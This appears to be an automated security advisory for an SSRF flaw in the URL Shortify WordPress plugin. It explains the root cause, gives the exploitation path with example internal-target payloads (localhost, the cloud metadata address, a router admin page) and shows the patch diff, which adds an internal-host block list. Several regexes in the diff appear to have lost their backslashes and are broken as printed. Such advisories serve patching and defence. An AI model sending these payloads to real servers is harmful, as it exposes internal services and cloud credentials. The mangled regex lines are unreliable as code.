Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25385: URL Shortify <= 1.12.3 – Authenticated (Author+) Server-Side Request Forgery (url-shortify)

Plugin url-shortify
Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 1.12.3
Patched Version 1.12.4
Disclosed February 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25385:
The URL Shortify WordPress plugin version 1.12.3 and earlier contains a server-side request forgery (SSRF) vulnerability. This vulnerability allows authenticated attackers with Author-level permissions or higher to make arbitrary HTTP requests from the web server. The flaw resides in the URL title fetching functionality, which fails to validate target URLs before making external requests.

Root Cause:
The vulnerability exists in the `get_title_from_url()` method within `/url-shortify/lite/includes/Common/Utils.php`. The function at line 664 uses `file_get_contents()` to retrieve remote content without validating the target URL. The function accepts any URL parameter passed to it, including internal network addresses, localhost, and private IP ranges. No access controls or URL validation prevents SSRF attacks through this endpoint.

Exploitation:
Attackers with Author+ permissions can exploit this vulnerability by submitting malicious URLs through the plugin’s URL creation or editing interfaces. The attack vector involves the `url` parameter during link creation or update operations, particularly through the REST API endpoint `/wp-json/url-shortify/v1/links` or via CSV import functionality. Payloads can target internal services using schemes like http://127.0.0.1:8080, http://169.254.169.254/latest/meta-data/, or http://192.168.1.1/admin.

Patch Analysis:
The patch in version 1.12.4 introduces a new `is_safe_url()` validation method in `/url-shortify/lite/includes/Common/Utils.php`. This method performs multiple security checks: it validates URL schemes (only http/https allowed), blocks localhost and internal hostnames, resolves hostnames to IP addresses, and filters out private/reserved IP ranges using `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE`. The `get_title_from_url()` function now calls `wp_safe_remote_get()` instead of `file_get_contents()`, which provides additional WordPress security wrappers.

Impact:
Successful exploitation allows attackers to interact with internal services, potentially accessing sensitive metadata from cloud providers, scanning internal networks, accessing administrative interfaces of internal devices, or performing port scanning. This can lead to information disclosure about internal infrastructure, credential harvesting from unprotected services, or indirect attacks against internal applications that trust the web server.

Differential between vulnerable and patched code

Code Diff
--- a/url-shortify/lite/includes/API/Authentication.php
+++ b/url-shortify/lite/includes/API/Authentication.php
@@ -171,8 +171,8 @@
 	 * @return array|false
 	 */
 	private function get_credentials( $key_var, $secret_var ) {
-		$key    = isset( $_SERVER[ $key_var ] ) ? sanitize_text_field( filter_var( wp_unslash( $_SERVER[ $key_var ] ) ) ) : null;
-		$secret = isset( $_SERVER[ $secret_var ] ) ? sanitize_text_field( filter_var( wp_unslash( $_SERVER[ $secret_var ] ) ) ) : null;
+		$key    = isset( $_SERVER[ $key_var ] ) ? sanitize_text_field( wp_unslash( $_SERVER[ $key_var ] ) ) : null;
+		$secret = isset( $_SERVER[ $secret_var ] ) ? sanitize_text_field( wp_unslash( $_SERVER[ $secret_var ] ) ) : null;

 		if ( ! $key || ! $secret ) {
 			return false;
--- a/url-shortify/lite/includes/API/V1/LinksRestController.php
+++ b/url-shortify/lite/includes/API/V1/LinksRestController.php
@@ -214,8 +214,15 @@
 			);
 		}

-		foreach ( $params as $key => $value ) {
-			$link[ $key ] = sanitize_text_field( $value );
+		$allowed_fields = [ 'name', 'description', 'url', 'nofollow', 'track_me', 'sponsored', 'params_forwarding', 'redirect_type' ];
+		foreach ( $allowed_fields as $field ) {
+			if ( isset( $params[ $field ] ) ) {
+				$link[ $field ] = sanitize_text_field( $params[ $field ] );
+			}
+		}
+
+		if ( isset( $params['url'] ) ) {
+			$link['url'] = esc_url_raw( $params['url'] );
 		}

 		$link = US()->db->links->update( $id, $link );
--- a/url-shortify/lite/includes/Admin/Controllers/ImportController.php
+++ b/url-shortify/lite/includes/Admin/Controllers/ImportController.php
@@ -158,12 +158,16 @@
 		$nonce = Helper::get_request_data( '_wpnonce' );

 		if ( ! wp_verify_nonce( $nonce, 'import_csv' ) ) {
-			die( 'You do not have permission to import CSV' );
+			wp_die( esc_html__( 'You do not have permission to import CSV.', 'url-shortify' ) );
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'You do not have permission to import CSV.', 'url-shortify' ) );
 		}

 		// Check if a file was uploaded
 		if ( ! isset( $_FILES['csv_file'] ) || empty( $_FILES['csv_file']['tmp_name'] ) ) {
-			wp_die( 'Please select a CSV file to import.' );
+			wp_die( esc_html__( 'Please select a CSV file to import.', 'url-shortify' ) );
 		}

 		// Get the file path and name
@@ -173,7 +177,13 @@
 		// Validate the file extension
 		$file_extension = strtolower( pathinfo( $csv_file_name, PATHINFO_EXTENSION ) );
 		if ( $file_extension !== 'csv' ) {
-			wp_die( 'Invalid file format. Please upload a CSV file.' );
+			wp_die( esc_html__( 'Invalid file format. Please upload a CSV file.', 'url-shortify' ) );
+		}
+
+		// Validate MIME type
+		$file_type = wp_check_filetype( $csv_file_name, array( 'csv' => 'text/csv' ) );
+		if ( empty( $file_type['ext'] ) ) {
+			wp_die( esc_html__( 'Invalid file type.', 'url-shortify' ) );
 		}

 		// Import the CSV file
@@ -187,7 +197,9 @@
 			return false;
 		}

-		@set_time_limit( 0 );
+		if ( function_exists( 'set_time_limit' ) ) {
+			set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		}

 		// Read the first row of the CSV file as the column names.
 		$columns = fgetcsv( $csv_file );
@@ -261,7 +273,7 @@
 				$values[ $key ]['slug']              = $slug;
 				$values[ $key ]['name']              = ! empty( Helper::get_data( $link, 'Title', '' ) ) ? Helper::get_data( $link, 'Title', '', true ) : Helper::get_data( $link, 'Target URL', '' );
 				$values[ $key ]['description']       = Helper::get_data( $link, 'Description', '', true );
-				$values[ $key ]['url']               = Helper::get_data( $link, 'Target URL', '' );
+				$values[ $key ]['url']               = esc_url_raw( Helper::get_data( $link, 'Target URL', '' ) );
 				$values[ $key ]['nofollow']          = Helper::get_data( $link, 'Nofollow', $default_nofollow );
 				$values[ $key ]['track_me']          = Helper::get_data( $link, 'Track', $default_track_me );
 				$values[ $key ]['sponsored']         = Helper::get_data( $link, 'Sponsored', $default_sponsored );
@@ -323,7 +335,9 @@

 			if ( Helper::is_forechable( $links ) ) {

-				@set_time_limit( 0 );
+				if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 				$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

@@ -420,7 +434,9 @@

 			if ( Helper::is_forechable( $links ) ) {

-				@set_time_limit( 0 );
+				if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 				$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

@@ -522,7 +538,9 @@

 			if ( Helper::is_forechable( $links ) ) {

-				@set_time_limit( 0 );
+				if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 				$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

@@ -615,7 +633,9 @@

 			if ( Helper::is_forechable( $links ) ) {

-				@set_time_limit( 0 );
+				if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 				$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

@@ -700,7 +720,9 @@

 			$link_prefix = get_option( 'ta_link_prefix_custom', true );

-			@set_time_limit( 0 );
+			if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 			$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

@@ -816,7 +838,9 @@

 				$current_user_id = get_current_user_id();

-				@set_time_limit( 0 );
+				if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 				$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

@@ -918,7 +942,9 @@

 				$current_user_id = get_current_user_id();

-				@set_time_limit( 0 );
+				if ( function_exists( 'set_time_limit' ) ) {
+				set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+			}

 				$existing_links = US()->db->links->get_columns_map( 'id', 'slug' );

--- a/url-shortify/lite/includes/Admin/DB/Base_DB.php
+++ b/url-shortify/lite/includes/Admin/DB/Base_DB.php
@@ -120,16 +120,16 @@
 	}

 	/**
-	 * Get rows by conditions
+	 * Get rows by conditions.
 	 *
-	 * @since 1.0.0
+	 * @internal Expects pre-prepared WHERE clauses. Do not pass unsanitized user input.
 	 *
-	 * @param string $output
+	 * @since 1.0.0
 	 *
-	 * @param string $where
+	 * @param string $where  Pre-prepared WHERE clause.
+	 * @param string $output Output type.
 	 *
 	 * @return array
-	 *
 	 */
 	public function get_by_conditions( $where = '', $output = ARRAY_A ) {
 		global $wpdb;
@@ -491,6 +491,8 @@
 			return false;
 		}

+		$column = sanitize_key( $column );
+
 		$query = $wpdb->prepare( "UPDATE $this->table_name SET $column = %s WHERE $where", $value );

 		if ( false === $wpdb->query( $query ) ) {
@@ -721,23 +723,24 @@
 	}

 	/**
-	 * Prepare string for SQL IN query
+	 * Prepare string for SQL IN query.
 	 *
-	 * @since 1.0.0
+	 * All callers pass numeric IDs, so absint() is the correct sanitization.
 	 *
-	 * @param array $array
+	 * @since 1.0.0
 	 *
-	 * @return string
+	 * @param array $array Array of numeric IDs.
 	 *
+	 * @return string Comma-separated list of integers safe for SQL IN clause.
 	 */
 	public function prepare_for_in_query( $array = [] ) {
-		$array = esc_sql( $array );
-
-		if ( is_array( $array ) && count( $array ) > 0 ) {
-			return "'" . implode( "', '", $array ) . "'";
+		if ( ! is_array( $array ) || empty( $array ) ) {
+			return '';
 		}

-		return '';
+		$array = array_map( 'absint', $array );
+
+		return implode( ', ', $array );
 	}

 	/**
--- a/url-shortify/lite/includes/Admin/Links_Table.php
+++ b/url-shortify/lite/includes/Admin/Links_Table.php
@@ -698,7 +698,7 @@
 				$add_where_clause = true;
 				$redirect_type    = str_replace( 'redirect_type_', '', $filter_by );

-				$query[] = "redirect_type = '{$redirect_type}'";
+				$query[] = $wpdb->prepare( 'redirect_type = %s', $redirect_type );
 			} else {
 				$query = [];
 				$query = apply_filters( 'kc_us_links_filter_by_query', $query, $filter_by );
@@ -742,8 +742,7 @@
 			}

 			$sql .= $order_by_clause;
-			$sql .= " LIMIT $per_page";
-			$sql .= ' OFFSET ' . ( $page_number - 1 ) * $per_page;
+			$sql .= $wpdb->prepare( ' LIMIT %d OFFSET %d', $per_page, ( $page_number - 1 ) * $per_page );

 			$result = $wpdb->get_results( $sql, 'ARRAY_A' );
 		} else {
@@ -835,10 +834,10 @@
 				$message = __( 'You do not have permission to delete link(s).', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );

 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}
 				if ( ! empty( $link_ids ) ) {
 					$this->db->delete( $link_ids );
@@ -861,9 +860,9 @@
 				$message = __( 'You do not have permission to reset stats.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( ! empty( $link_ids ) ) {
@@ -887,12 +886,12 @@
 				$message = __( 'You do not have permission to add links to group.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

-				$group_id = Helper::get_request_data( 'group_id' );;
+				$group_id = Helper::get_request_data( 'group_id' );

 				if ( empty( $link_ids ) ) {
 					$message = __( 'Please select link(s) to add into group.', 'url-shortify' );
@@ -923,12 +922,12 @@
 				$message = __( 'You do not have permission to move links to group.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

-				$group_id = Helper::get_request_data( 'group_id' );;
+				$group_id = Helper::get_request_data( 'group_id' );

 				if ( empty( $link_ids ) ) {
 					$message = __( 'Please select link(s) to move into group.', 'url-shortify' );
@@ -988,9 +987,9 @@
 				$message = __( 'You do not have permission to enable Nofollow parameter to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1014,9 +1013,9 @@
 				$message = __( 'You do not have permission to disable Nofollow parameter to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1040,9 +1039,9 @@
 				$message = __( 'You do not have permission to disable Sponsored parameter to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1066,9 +1065,9 @@
 				$message = __( 'You do not have permission to enable Sponsored parameter to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1092,9 +1091,9 @@
 				$message = __( 'You do not have permission to enable Tracking parameter to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1118,9 +1117,9 @@
 				$message = __( 'You do not have permission to disable Tracking parameter to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1144,9 +1143,9 @@
 				$message = __( 'You do not have permission to enable Parameters Forwarding to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1170,9 +1169,9 @@
 				$message = __( 'You do not have permission to disable Parameters Forwarding to links.', 'url-shortify' );
 				US()->notices->error( $message );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( empty( $link_ids ) ) {
@@ -1194,9 +1193,9 @@
 			if ( ! wp_verify_nonce( $nonce, $action_nonce ) ) {
 				US()->notices->error( __( 'You do not have permission to add favorites.', 'url-shortify' ) );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}

 				if ( ! empty( $link_ids ) ) {
@@ -1223,15 +1222,15 @@
 			if ( ! wp_verify_nonce( $nonce, $action_nonce ) ) {
 				US()->notices->error( __( 'You do not have permission to remove favorites.', 'url-shortify' ) );
 			} else {
-				$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : Helper::get_request_data( 'link_ids' );
+				$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : Helper::get_request_data( 'link_ids' );
 				if ( empty( $link_ids ) ) {
-					$link_ids = isset( $_POST['link_ids'] ) ? $_POST['link_ids'] : [];
+					$link_ids = isset( $_POST['link_ids'] ) ? array_map( 'absint', wp_unslash( $_POST['link_ids'] ) ) : [];
 				}
-				$user_id = get_current_user_id();
+				$user_id = absint( get_current_user_id() );

 				if ( ! empty( $link_ids ) ) {
 					$ids_str = implode( ',', array_map( 'absint', $link_ids ) );
-					US()->db->favorites_links->delete_by_condition( "user_id = $user_id AND link_id IN ($ids_str)" );
+					US()->db->favorites_links->delete_by_condition( "user_id = {$user_id} AND link_id IN ({$ids_str})" );

 					US()->notices->success( __( 'Link(s) removed from favorites successfully!', 'url-shortify' ) );
 				}
@@ -1643,7 +1642,9 @@
 	}

 	public function export_links() {
-		@set_time_limit( 0 );
+		if ( function_exists( 'set_time_limit' ) ) {
+			set_time_limit( 0 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
+		}

 		$links = US()->db->links->get_all();

--- a/url-shortify/lite/includes/Ajax.php
+++ b/url-shortify/lite/includes/Ajax.php
@@ -67,6 +67,10 @@

 		check_ajax_referer( KC_US_AJAX_SECURITY, 'security' );

+//		if ( ! current_user_can( 'edit_posts' ) ) {
+//			wp_send_json_error( array( 'message' => __( 'Permission denied.', 'url-shortify' ) ) );
+//		}
+
 		$cmd = Helper::get_data( $params, 'cmd', '' );

 		$ajax = US()->is_pro() ? new KaizenCodersURL_ShortifyPROAjax() : $this;
@@ -92,16 +96,23 @@
 		wp_send_json( $response );
 	}

+	/**
+	 * @return void
+	 */
 	public function handle_plugin_management() {
 		check_ajax_referer( 'url-shortify-plugin-management', 'nonce' );

 		if ( ! current_user_can( 'activate_plugins' ) ) {
-			wp_send_json_error( [ 'message' => 'Permission denied' ] );
+			wp_send_json_error( [ 'message' => __( 'Permission denied.', 'url-shortify' ) ] );
 		}

-		$action = sanitize_text_field( $_POST['plugin_action'] );
-		$plugin = sanitize_text_field( $_POST['plugin'] );
-		$slug   = sanitize_text_field( $_POST['slug'] );
+		$action = sanitize_text_field( wp_unslash( $_POST['plugin_action'] ) );
+		$plugin = sanitize_text_field( wp_unslash( $_POST['plugin'] ) );
+		$slug   = sanitize_text_field( wp_unslash( $_POST['slug'] ) );
+
+		if ( ! preg_match( '/^[a-z0-9-]+$/', $slug ) ) {
+			wp_send_json_error( array( 'message' => __( 'Invalid plugin slug.', 'url-shortify' ) ) );
+		}

 		switch ( $action ) {
 			case 'install':
--- a/url-shortify/lite/includes/Common/Export.php
+++ b/url-shortify/lite/includes/Common/Export.php
@@ -69,7 +69,8 @@
 			header( 'Cache-Control: must-revalidate, post-check=0, pre-check=0' );
 			header( 'Cache-Control: private', false );
 			header( 'Content-Type: application/octet-stream' );
-			header( "Content-Disposition: attachment; filename={$file_name};" );
+			$safe_filename = sanitize_file_name( $file_name );
+			header( 'Content-Disposition: attachment; filename="' . $safe_filename . '"' );
 			header( 'Content-Transfer-Encoding: binary' );

 			echo wp_kses_post( $csv_data );
--- a/url-shortify/lite/includes/Common/Utils.php
+++ b/url-shortify/lite/includes/Common/Utils.php
@@ -664,20 +664,79 @@
 			return '';
 		}

-		$str = file_get_contents( $url );
+		if ( ! self::is_safe_url( $url ) ) {
+			return $url;
+		}
+
+		$response = wp_safe_remote_get( $url, [
+			'timeout'   => 10,
+			'sslverify' => false,
+		] );
+
+		if ( is_wp_error( $response ) ) {
+			return $url;
+		}
+
+		$str = wp_remote_retrieve_body( $response );

 		if ( strlen( $str ) > 0 ) {
 			$str = trim( preg_replace( '/s+/', ' ', $str ) ); // supports line breaks inside <title>

 			preg_match( '/<title>(.*)</title>/i', $str, $title ); // ignore case

-			return substr( sanitize_text_field( $title[1] ), 0, 250 );
+			if ( ! empty( $title[1] ) ) {
+				return substr( sanitize_text_field( $title[1] ), 0, 250 );
+			}
 		}

 		return $url;
 	}

 	/**
+	 * Check if a URL is safe to fetch (not targeting internal/private resources).
+	 *
+	 * @param string $url
+	 *
+	 * @return bool
+	 *
+	 * @since 1.12.4
+	 */
+	public static function is_safe_url( $url ) {
+		// Only allow http and https schemes.
+		$parsed = wp_parse_url( $url );
+
+		if ( empty( $parsed['scheme'] ) || ! in_array( strtolower( $parsed['scheme'] ), [ 'http', 'https' ], true ) ) {
+			return false;
+		}
+
+		if ( empty( $parsed['host'] ) ) {
+			return false;
+		}
+
+		$host = strtolower( $parsed['host'] );
+
+		// Block localhost and common internal hostnames.
+		$blocked_hosts = [ 'localhost', '0.0.0.0', '[::1]' ];
+		if ( in_array( $host, $blocked_hosts, true ) ) {
+			return false;
+		}
+
+		// Resolve the hostname to an IP and check for private/reserved ranges.
+		$ip = gethostbyname( $host );
+
+		// gethostbyname returns the hostname on failure.
+		if ( $ip === $host && ! filter_var( $host, FILTER_VALIDATE_IP ) ) {
+			return false;
+		}
+
+		if ( ! filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
 	 * Get the current domain
 	 *
 	 * @return string
--- a/url-shortify/lite/includes/Frontend/Redirect.php
+++ b/url-shortify/lite/includes/Frontend/Redirect.php
@@ -41,7 +41,7 @@
 	 */
 	public function redirect() {
 		// Remove the trailing slash if there is one.
-		$request_uri = preg_replace( '#/(?.*)?$#', '$1', rawurldecode( $_SERVER['REQUEST_URI'] ) );
+		$request_uri = preg_replace( '#/(?.*)?$#', '$1', rawurldecode( wp_unslash( $_SERVER['REQUEST_URI'] ) ) );

 		$link_data = Helper::is_us_link( $request_uri, false );

@@ -49,7 +49,7 @@
 			//TODO: Handle params.

 			if ( ! US()->is_qr_request() ) {
-				$params = $_GET;
+				$params = array_map( 'sanitize_text_field', wp_unslash( $_GET ) );

 				if ( $this->can_redirect( $link_data ) ) {
 					do_action( 'kc_us_before_redirect', $link_data );
@@ -148,10 +148,11 @@

 				$param_string = '';

-				$params = explode( '?', $_SERVER['REQUEST_URI'] );
+				$request_uri = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
+				$parsed      = wp_parse_url( $request_uri );

-				if ( isset( $params[1] ) ) {
-					$param_string = ( preg_match( '#?#', $url ) ? '&' : '?' ) . $params[1];
+				if ( ! empty( $parsed['query'] ) ) {
+					$param_string = ( preg_match( '#?#', $url ) ? '&' : '?' ) . sanitize_text_field( $parsed['query'] );
 				}

 				$param_string = preg_replace( [ '#%5B#i', '#%5D#i' ], [ '[', ']' ], $param_string );
--- a/url-shortify/lite/includes/Helper.php
+++ b/url-shortify/lite/includes/Helper.php
@@ -252,7 +252,16 @@
         $how_to = Helper::get_data( $settings, 'reports_reporting_options_how_to_get_ip', '' );

         if ( $how_to ) {
-            return ! empty( $_SERVER[ $how_to ] ) ? $_SERVER[ $how_to ] : $_SERVER['REMOTE_ADDR'];
+            $ip = ! empty( $_SERVER[ $how_to ] ) ? sanitize_text_field( wp_unslash( $_SERVER[ $how_to ] ) ) : sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
+            // Handle comma-separated forwarded IPs.
+            if ( strpos( $ip, ',' ) !== false ) {
+                $ip = trim( explode( ',', $ip )[0] );
+            }
+            if ( self::is_ip_address( $ip ) ) {
+                return $ip;
+            }
+
+            return '';
         } else {
             $fields = [
                     'HTTP_CF_CONNECTING_IP',
@@ -266,12 +275,19 @@

             foreach ( $fields as $ip_field ) {
                 if ( ! empty( $_SERVER[ $ip_field ] ) ) {
-                    return $_SERVER[ $ip_field ];
+                    $ip = sanitize_text_field( wp_unslash( $_SERVER[ $ip_field ] ) );
+                    // Handle comma-separated forwarded IPs.
+                    if ( strpos( $ip, ',' ) !== false ) {
+                        $ip = trim( explode( ',', $ip )[0] );
+                    }
+                    if ( self::is_ip_address( $ip ) ) {
+                        return $ip;
+                    }
                 }
             }
         }

-        return $_SERVER['REMOTE_ADDR'];
+        return '';
     }

     /**
--- a/url-shortify/lite/includes/Install.php
+++ b/url-shortify/lite/includes/Install.php
@@ -141,7 +141,7 @@
 	public static function install_actions() {
 		if ( ! empty( $_GET['do_update_us'] ) ) {
 			check_admin_referer( 'us_db_update', 'us_db_update_nonce' );
-			$from_db_version = ! empty( $_GET['from_db_version'] ) ? $_GET['from_db_version'] : '';
+			$from_db_version = ! empty( $_GET['from_db_version'] ) ? sanitize_text_field( wp_unslash( $_GET['from_db_version'] ) ) : '';

 			self::delete_update_transient();

--- a/url-shortify/url-shortify.php
+++ b/url-shortify/url-shortify.php
@@ -15,7 +15,7 @@
  * Plugin Name:       URL Shortify
  * Plugin URI:        https://kaizencoders.com/url-shortify
  * Description:       URL Shortify helps you beautify, manage, share & cloak any links on or off of your WordPress website. Create links that look how you want using your own domain name!
- * Version:           1.12.3
+ * Version:           1.12.4
  * Author:            KaizenCoders
  * Author URI:        https://kaizencoders.com/
  * Tested up to:      6.9
@@ -45,7 +45,7 @@
